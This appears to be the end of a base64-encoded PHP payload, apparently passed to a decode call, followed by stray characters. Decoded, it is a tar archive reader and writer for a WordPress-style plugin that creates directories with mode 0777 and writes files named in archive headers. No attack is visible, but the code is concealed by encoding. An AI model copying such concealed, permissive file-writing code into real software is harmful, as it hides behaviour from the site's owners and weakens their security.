gICAgICAgIAkkdGhpcy0+ZXJyb3JMaXN0W10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nLiAnLl9fKCdGaWxlICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uX18oJyBhbHJlYWR5IGV4aXN0cycpOw0KCQkgICAgICAgICAJCSAgICAgICAgIAlyZXR1cm4gZmFsc2U7DQoJCSAgICAgICAgIAkJICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCX0gZWxzZWlmICgoJHRoaXMtPmRpckNoZWNrKCgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1JyA/ICRoZWFkZXJbJ2ZpbGVuYW1lJ10gOiBkaXJuYW1lKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSkpICE9IDEpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICAkdGhpcy0+ZXJyb3JMaXN0W10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuX18oJyBmb3IgJykuJGhlYWRlclsnZmlsZW5hbWUnXTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJfQ0KDQoNCg0KCQkgICAgICAgICAJaWYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJzUnKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkaGVhZGVyWydmaWxlbmFtZSddKSkJCSAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIAlpZiAoIW1rZGlyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sIDA3NzcpKQl7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAJCSAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIAkJICAgICAgICAgJHRoaXMtPmVycm9yTGlzdFtdID0gX18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJyAnLiRoZWFkZXJbJ2ZpbGVuYW1lJ107DQoNCgkJICAgICAgICAgCQkgICAgICAgICAJCSAgICAgICAgIHJldHVybiBmYWxzZTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAl9IA0KCQkgICAgICAgICAJCSAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAl9IGVsc2Ugew0KDQoJCSAgICAgICAgIAkJICAgICAgICAgaWYgKCgkZGVzdGluYXRpb24gPSBmb3BlbigkaGVhZGVyWydmaWxlbmFtZSddLCAnd2InKSkgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgCSR0aGlzLT5lcnJvckxpc3RbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCXJldHVybiBmYWxzZTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIH0gZWxzZSB7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAJJGRlY3IgPSBmbG9vcigkaGVhZGVyWydzaXplJ10vNTEyKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAlmb3IgKCRpID0gMDsgJGkgPCAkZGVjcjsgJGkrKykgew0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICAkY29udGVudCA9ICR0aGlzLT5yZXRyaWV2ZURhdGFCbG9jaygpOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICBmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgNTEyKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAl9DQogICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgCWlmICgoJGhlYWRlclsnc2l6ZSddICUgNTEyKSAhPSAwKSB7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAJCSAgICAgICAgICRjb250ZW50ID0gJHRoaXMtPnJldHJpZXZlRGF0YUJsb2NrKCk7DQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICBmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgKCRoZWFkZXJbJ3NpemUnXSAlIDUxMikpOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCX0NCg0KCQkgICAgICAgICAJCSAgICAgICAgIAlmY2xvc2UoJGRlc3RpbmF0aW9uKTsNCgkJICAgICAgICAgCQkgICAgICAgICAJdG91Y2goJGhlYWRlclsnZmlsZW5hbWUnXSwgJGhlYWRlclsndGltZSddKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIH0NCgkJICAgICAgICAgCQkgICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIGlmIChmaWxlU2V0aXplKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pICE9ICRoZWFkZXJbJ3NpemUnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIAkkdGhpcy0+ZXJyb3JMaXN0W10gPSBfXygnU2l6ZSBvZiBmaWxlJykuJyAnLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uJyAnLl9fKCdpcyBpbmNvcnJlY3QnKTsNCgkJICAgICAgICAgCQkgICAgICAgICAJcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICB9DQoNCgkJICAgICAgICAgCX0NCgkJICAgICAgICAgCWlmICgoJGZpbGVfZGlyID0gZGlybmFtZSgkaGVhZGVyWydmaWxlbmFtZSddKSkgPT0gJGhlYWRlclsnZmlsZW5hbWUnXSkgJGZpbGVfZGlyID0gJyc7DQoJCSAgICAgICAgIAlpZiAoKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAwLCAxKSA9PSAnLycpICYmICgkZmlsZV9kaXIgPT0gJycpKSAkZmlsZV9kaXIgPSAnLyc7DQoJCSAgICAgICAgIAkkdGhpcy0+ZGlyc1tdID0gJGZpbGVfZGlyOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkkdGhpcy0+ZmlsZVNldFtdID0gJGhlYWRlclsnZmlsZW5hbWUnXTsNCgkNCgkJICAgICAgICAgfQ0KDQoJCSAgICAgICAgIHJldHVybiB0cnVlOw0KCX0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCglmdW5jdGlvbiBkaXJDaGVjaygkZGlyKXsNCg0KCQkgICAgICAgICAkcGFyZW50X2RpciA9IGRpcm5hbWUoJGRpcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgaWYgKChAaXNfZGlyKCRkaXIpKSBvciAoJGRpciA9PSAnJykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAlyZXR1cm4gdHJ1ZTsNCg0KDQoJCSAgICAgICAgIGlmICgoJHBhcmVudF9kaXIgIT0gJGRpcikgYW5kICgkcGFyZW50X2RpciAhPSAnJykgYW5kICghJHRoaXMtPmRpckNoZWNrKCRwYXJlbnRfZGlyKSkpDQoNCgkJICAgICAgICAgCXJldHVybiBmYWxzZTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBpZiAoIW1rZGlyKCRkaXIsIDA3NzcpKXsNCgkJICAgICAgICAgCSR0aGlzLT5lcnJvckxpc3RbXSA9IF9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicgJy4kZGlyOw0KDQoJCSAgICAgICAgIAlyZXR1cm4gZmFsc2U7DQoNCgkJICAgICAgICAgfQ0KDQoJCSAgICAgICAgIHJldHVybiB0cnVlOw0KCX0NCg0KDQoJZnVuY3Rpb24gZmV0Y2hIZWFkZXJJbmZvKCRiaW5hcnlEYXRhLCAmJGhlYWRlcil7DQoJCSAgICAgICAgIGlmIChzdHJsZW4oJGJpbmFyeURhdGEpPT0wKXsNCgkJICAgICAgICAgCSRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJzsNCgkJICAgICAgICAgCXJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICB9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGlmIChzdHJsZW4oJGJpbmFyeURhdGEpICE9IDUxMil7DQoJCSAgICAgICAgIAkkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7DQoNCgkJICAgICAgICAgCSR0aGlzLT5fXygnSW52YWxpZCBibG9jayBzaXplJykuJzogJy5zdHJsZW4oJGJpbmFyeURhdGEpOw0KCQkgICAgICAgICAJcmV0dXJuIGZhbHNlOw0KDQoJCSAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICRmaWxlSGFzaCA9IDA7DQoJCSAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IDE0ODsgJGkrKykgJGZpbGVIYXNoKz1vcmQoc3Vic3RyKCRiaW5hcnlEYXRhLCAkaSwgMSkpOw0KDQoJCSAgICAgICAgIGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkZmlsZUhhc2ggKz0gb3JkKCcgJyk7DQoJCSAgICAgICAgIGZvciAoJGkgPSAxNTY7ICRpIDwgNTEyOyAkaSsrKSAkZmlsZUhhc2grPW9yZChzdWJzdHIoJGJpbmFyeURhdGEsICRpLCAxKSk7DQoNCg0KCQkgICAgICAgICAkdW5wYWNrX2RhdGEgPSB1bnBhY2soJ2ExMDBmaWxlbmFtZS9hOG1vZGUvYTh1c2VySWRlbnRpZmllci9hOGdyb3VwX2lkL2ExMnNpemUvYTEydGltZS9hOGZpbGVIYXNoL2ExdHlwZWZsYWcvYTEwMGxpbmsvYTZtYWdpYy9hMnZlcnNpb24vYTMydW5hbWUvYTMyZ25hbWUvYThkZXZtYWpvci9hOGRldm1pbm9yJywgJGJpbmFyeURhdGEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCgkJICAgICAgICAgJGhlYWRlclsnZmlsZUhhc2gnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnZmlsZUhhc2gnXSkpOw0KCQkgICAgICAgICBpZiAoJGhlYWRlclsnZmlsZUhhc2gnXSAhPSAkZmlsZUhhc2gpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCSRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJzsNCg0KCQkgICAgICAgICAJaWYgKCgkZmlsZUhhc2ggPT0gMjU2KSAmJiAoJGhlYWRlclsnZmlsZUhhc2gnXSA9PSAwKSkgCXJldHVybiB0cnVlOw0KDQoJCSAgICAgICAgIAkkdGhpcy0+ZXJyb3JMaXN0W10gPSBfXygnRXJyb3IgZmlsZUhhc2ggZm9yIGZpbGUgJykuJHVucGFja19kYXRhWydmaWxlbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgaWYgKCgkaGVhZGVyWyd0eXBlZmxhZyddID0gJHVucGFja19kYXRhWyd0eXBlZmxhZyddKSA9PSAnNScpCSRoZWFkZXJbJ3NpemUnXSA9IDA7DQoNCgkJICAgICAgICAgJGhlYWRlclsnZmlsZW5hbWUnXSA9IHRyaW0oJHVucGFja19kYXRhWydmaWxlbmFtZSddKTsNCg0KCQkgICAgICAgICAkaGVhZGVyWydtb2RlJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ21vZGUnXSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAkaGVhZGVyWyd1c2VySWRlbnRpZmllciddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWyd1c2VySWRlbnRpZmllciddKSk7DQoNCgkJICAgICAgICAgJGhlYWRlclsnZ3JvdXBfaWQnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnZ3JvdXBfaWQnXSkpOw0KDQoJCSAgICAgICAgICRoZWFkZXJbJ3NpemUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnc2l6ZSddKSk7DQoNCgkJICAgICAgICAgJGhlYWRlclsndGltZSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWyd0aW1lJ10pKTsNCg0KCQkgICAgICAgICByZXR1cm4gdHJ1ZTsNCg0KCX0NCg0KDQoNCglmdW5jdGlvbiBpbnNlcnRIZWFkZXJJbmZvKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpew0KDQoJCSAgICAgICAgICRwYWNrRiA9ICdhMTAwYThhOGE4YTEyQTEyJzsNCgkJICAgICAgICAgJHBhY2tMID0gJ2ExYTEwMGE2YTJhMzJhMzJhOGE4YTE1NWExMic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgaWYgKHN0cmxlbigka2VlcF9maWxlbmFtZSk8PTApICRrZWVwX2ZpbGVuYW1lID0gJGZpbGVuYW1lOw0KDQoJCSAgICAgICAgICRmaWxlbmFtZV9yZWFkeSA9ICR0aGlzLT5nZW5lcmF0ZVZhbGlkUGF0aCgka2VlcF9maWxlbmFtZSk7DQoNCgkJICAgICAgICAgaWYgKHN0cmxlbigkZmlsZW5hbWVfcmVhZHkpID4gOTkpewkJICAgICAgICAgCQkgICAgICAgICAJCSAgICAgICAgIAkvL3dyaXRlIGxvbmcgaGVhZGVyDQoJCSAgICAgICAgICRkYXRhRmlyc3QgPSBwYWNrKCRwYWNrRiwgJy4vLi9Mb25nTGluaycsIDAsIDAsIDAsIHNwcmludGYoJyUxMXMgJywgRGVjT2N0KHN0cmxlbigkZmlsZW5hbWVfcmVhZHkpKSksIDApOw0KDQoJCSAgICAgICAgICRkYXRhTGFzdCA9IHBhY2soJHBhY2tMLCAnTCcsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpOw0KDQoNCg0KICAgICAgICAvLyAgQ2FsY3VsYXRlIHRoZSBmaWxlSGFzaA0KDQoJCSAgICAgICAgICRmaWxlSGFzaCA9IDA7DQogICAgICAgIC8vICBGaXJzdCBwYXJ0IG9mIHRoZSBoZWFkZXINCg0KCQkgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspDQoJCSAgICAgICAgIAkkZmlsZUhhc2ggKz0gb3JkKHN1YnN0cigkZGF0YUZpcnN0LCAkaSwgMSkpOw0KDQogICAgICAgIC8vICBJZ25vcmUgdGhlIGZpbGVIYXNoIHZhbHVlIGFuZCByZXBsYWNlIGl0IGJ5ICcgJyAoc3BhY2UpDQoJCSAgICAgICAgIGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKQ0KCQkgICAgICAgICAJJGZpbGVIYXNoICs9IG9yZCgnICcpOw0KDQogICAgICAgIC8vICBMYXN0IHBhcnQgb2YgdGhlIGhlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGZvciAoJGkgPSAxNTYsICRqPTA7ICRpIDwgNTEyOyAkaSsrLCAkaisrKQ0KDQoJCSAgICAgICAgIAkkZmlsZUhhc2ggKz0gb3JkKHN1YnN0cigkZGF0YUxhc3QsICRqLCAxKSk7DQogICAgICAgIC8vICBXcml0ZSB0aGUgZmlyc3QgMTQ4IGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIGFyY2hpdmUNCgkJICAgICAgICAgJHRoaXMtPnNhdmVEYXRhQmxvY2soJGRhdGFGaXJzdCwgMTQ4KTsNCg0KICAgICAgICAvLyAgV3JpdGUgdGhlIGNhbGN1bGF0ZWQgZmlsZUhhc2gNCg0KCQkgICAgICAgICAkZmlsZUhhc2ggPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlSGFzaCkpOw0KCQkgICAgICAgICAkYmluYXJ5RGF0YSA9IHBhY2soJ2E4JywgJGZpbGVIYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAkdGhpcy0+c2F2ZURhdGFCbG9jaygkYmluYXJ5RGF0YSwgOCk7DQogICAgICAgIC8vICBXcml0ZSB0aGUgbGFzdCAzNTYgYnl0ZXMgb2YgdGhlIGhlYWRlciBpbiB0aGUgYXJjaGl2ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAkdGhpcy0+c2F2ZURhdGFCbG9jaygkZGF0YUxhc3QsIDM1Nik7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgICR0ZW1wb3JhcnlGaWxlbmFtZSA9ICR0aGlzLT5nZW5lcmF0ZVZhbGlkUGF0aCgkZmlsZW5hbWVfcmVhZHkpOw0KDQoJCSAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAl3aGlsZSAoKCRidWZmZXIgPSBzdWJzdHIoJHRlbXBvcmFyeUZpbGVuYW1lLCAoKCRpKyspKjUxMiksIDUxMikpICE9ICcnKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgICRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOw0KCQkgICAgICAgICAJCSAgICAgICAgICR0aGlzLT5zYXZlRGF0YUJsb2NrKCRiaW5hcnlEYXRhKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCX0NCg0KCQkgICAgICAgICByZXR1cm4gdHJ1ZTsNCgkJICAgICAgICAgfQ0KDQoJCSAgICAgICAgICRmaWxlX2luZm8gPSBzdGF0KCRmaWxlbmFtZSk7DQoNCgkJICAgICAgICAgaWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCSR0eXBlZmxhZyA9ICc1JzsNCg0KCQkgICAgICAgICAJJHNpemUgPSBzcHJpbnRmKCclMTFzICcsIERlY09jdCgwKSk7DQoJCSAgICAgICAgIH0gZWxzZSB7DQoJCSAgICAgICAgIAkkdHlwZWZsYWcgPSAnJzsNCg0KCQkgICAgICAgICAJY2xlYXJzdGF0Y2FjaGUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCSRzaXplID0gc3ByaW50ZignJTExcyAnLCBEZWNPY3QoZmlsZVNldGl6ZSgkZmlsZW5hbWUpKSk7DQoNCgkJICAgICAgICAgfQ0KDQoJCSAgICAgICAgICRkYXRhRmlyc3QgPSBwYWNrKCRwYWNrRiwgJGZpbGVuYW1lX3JlYWR5LCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KGZpbGVwZXJtcygkZmlsZW5hbWUpKSksIHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGZpbGVfaW5mb1s0XSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNV0pKSwgJHNpemUsIHNwcmludGYoJyUxMXMnLCBEZWNPY3QoZmlsZW10aW1lKCRmaWxlbmFtZSkpKSk7DQoNCgkJICAgICAgICAgJGRhdGFMYXN0ID0gcGFjaygkcGFja0wsICR0eXBlZmxhZywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7DQoNCgkJICAgICAgICAgJGZpbGVIYXNoID0gMDsNCg0KCQkgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRmaWxlSGFzaCArPSBvcmQoc3Vic3RyKCRkYXRhRmlyc3QsICRpLCAxKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgZm9yICgkaSA9IDE0ODsgJGkgPCAxNTY7ICRpKyspICRmaWxlSGFzaCArPSBvcmQoJyAnKTsNCg0KCQkgICAgICAgICBmb3IgKCRpID0gMTU2LCAkaiA9IDA7ICRpIDwgNTEyOyAkaSsrLCAkaisrKSAkZmlsZUhhc2ggKz0gb3JkKHN1YnN0cigkZGF0YUxhc3QsICRqLCAxKSk7DQoNCgkJICAgICAgICAgJHRoaXMtPnNhdmVEYXRhQmxvY2soJGRhdGFGaXJzdCwgMTQ4KTsNCg0KCQkgICAgICAgICAkZmlsZUhhc2ggPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlSGFzaCkpOw0KDQoJCSAgICAgICAgICRiaW5hcnlEYXRhID0gcGFjaygnYTgnLCAkZmlsZUhhc2gpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgJHRoaXMtPnNhdmVEYXRhQmxvY2soJGJpbmFyeURhdGEsIDgpOw0KDQoJCSAgICAgICAgICR0aGlzLT5zYXZlRGF0YUJsb2NrKCRkYXRhTGFzdCwgMzU2KTsNCg0KCQkgICAgICAgICByZXR1cm4gdHJ1ZTsNCgl9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQoJZnVuY3Rpb24gaW5pdGlhdGVGaWxlV3JpdGUoKXsNCgkJICAgICAgICAgaWYgKCR0aGlzLT5pc0NvbXByZXNzZWRGaWxlKQ0KCQkgICAgICAgICAJJHRoaXMtPnRlbXBvcmFyeUZpbGUgPSBnem9wZW4oJHRoaXMtPmFyY2hpdmVUaXRsZSwgJ3diOWYnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgZWxzZQ0KDQoJCSAgICAgICAgIAkkdGhpcy0+dGVtcG9yYXJ5RmlsZSA9IGZvcGVuKCR0aGlzLT5hcmNoaXZlVGl0bGUsICd3YicpOw0KDQoNCgkJICAgICAgICAgaWYgKCEoJHRoaXMtPnRlbXBvcmFyeUZpbGUpKXsNCg0KCQkgICAgICAgICAJJHRoaXMtPmVycm9yTGlzdFtdID0gX18oJ0Nhbm5vdCB3cml0ZSB0byBmaWxlJykuJyAnLiR0aGlzLT5hcmNoaXZlVGl0bGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCXJldHVybiBmYWxzZTsNCg0KCQkgICAgICAgICB9DQoJCSAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgl9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCWZ1bmN0aW9uIHJldHJpZXZlRGF0YUJsb2NrKCl7DQoNCgkJICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50ZW1wb3JhcnlGaWxlKSl7DQoNCgkJICAgICAgICAgCWlmICgkdGhpcy0+aXNDb21wcmVzc2VkRmlsZSkNCg0KCQkgICAgICAgICAJCSAgICAgICAgICRibG9jayA9IGd6cmVhZCgkdGhpcy0+dGVtcG9yYXJ5RmlsZSwgNTEyKTsNCg0KCQkgICAgICAgICAJZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgICRibG9jayA9IGZyZWFkKCR0aGlzLT50ZW1wb3JhcnlGaWxlLCA1MTIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICB9IGVsc2UJJGJsb2NrID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICByZXR1cm4gJGJsb2NrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJfQ0KDQoNCglmdW5jdGlvbiBzYXZlRGF0YUJsb2NrKCRkYXRhLCAkbGVuZ3RoID0gMCl7DQoNCgkJICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50ZW1wb3JhcnlGaWxlKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIA0KDQoJCSAgICAgICAgIAlpZiAoJGxlbmd0aCA9PT0gMCl7DQoNCgkJICAgICAgICAgCQkgICAgICAgICBpZiAoJHRoaXMtPmlzQ29tcHJlc3NlZEZpbGUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIAlnenB1dHMoJHRoaXMtPnRlbXBvcmFyeUZpbGUsICRkYXRhKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICBlbHNlDQoNCgkJICAgICAgICAgCQkgICAgICAgICAJZnB1dHMoJHRoaXMtPnRlbXBvcmFyeUZpbGUsICRkYXRhKTsNCg0KCQkgICAgICAgICAJfSBlbHNlIHsNCgkJICAgICAgICAgCQkgICAgICAgICBpZiAoJHRoaXMtPmlzQ29tcHJlc3NlZEZpbGUpDQoNCgkJICAgICAgICAgCQkgICAgICAgICAJZ3pwdXRzKCR0aGlzLT50ZW1wb3JhcnlGaWxlLCAkZGF0YSwgJGxlbmd0aCk7DQoJCSAgICAgICAgIAkJICAgICAgICAgZWxzZQ0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCWZwdXRzKCR0aGlzLT50ZW1wb3JhcnlGaWxlLCAkZGF0YSwgJGxlbmd0aCk7DQoNCgkJICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICB9DQoNCgl9DQoNCg0KCWZ1bmN0aW9uIGZpbmFsaXplVGVtcEZpbGUoKXsNCgkJICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50ZW1wb3JhcnlGaWxlKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAlpZiAoJHRoaXMtPmlzQ29tcHJlc3NlZEZpbGUpDQoNCgkJICAgICAgICAgCQkgICAgICAgICBnemNsb3NlKCR0aGlzLT50ZW1wb3JhcnlGaWxlKTsNCg0KCQkgICAgICAgICAJZWxzZQ0KDQoJCSAgICAgICAgIAkJICAgICAgICAgZmNsb3NlKCR0aGlzLT50ZW1wb3JhcnlGaWxlKTsNCg0KDQoNCgkJICAgICAgICAgCSR0aGlzLT50ZW1wb3JhcnlGaWxlID0gMDsNCg0KCQkgICAgICAgICB9DQoNCgl9DQoNCg0KDQoJZnVuY3Rpb24gZ2VuZXJhdGVWYWxpZFBhdGgoJHBhdGgpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBpZiAoc3RybGVuKCRwYXRoKT4wKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KCQkgICAgICAgICAJJHBhcnRQYXRoID0gZXhwbG9kZSgnLycsICRwYXRoKTsNCg0KCQkgICAgICAgICAJJGVscyA9IGNvdW50KCRwYXJ0UGF0aCktMTsNCg0KCQkgICAgICAgICAJZm9yICgkaSA9ICRlbHM7ICRpPj0wOyAkaS0tKXsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIGlmICgkcGFydFBhdGhbJGldID09ICcuJyl7DQoNCiAgICAgICAgICAgICAgICAgICAgLy8gIElnbm9yZSB0aGlzIGRpcmVjdG9yeQ0KICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJHBhcnRQYXRoWyRpXSA9PSAnLi4nKXsNCg0KICAgICAgICAgICAgICAgICAgICAkaS0tOw0KDQogICAgICAgICAgICAgICAgfQ0KDQoJCSAgICAgICAgIAkJICAgICAgICAgZWxzZWlmICgoJHBhcnRQYXRoWyRpXSA9PSAnJykgYW5kICgkaSE9JGVscykgYW5kICgkaSE9MCkpew0KICAgICAgICAgICAgICAgIH0JZWxzZQ0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCSRyZXN1bHQgPSAkcGFydFBhdGhbJGldLigkaSE9JGVscyA/ICcvJy4kcmVzdWx0IDogJycpOw0KCQkgICAgICAgICAJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgfSBlbHNlICRyZXN1bHQgPSAnJzsNCgkJICAgICAgICAgDQoNCgkJICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQoNCgl9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9'));
((%12qq
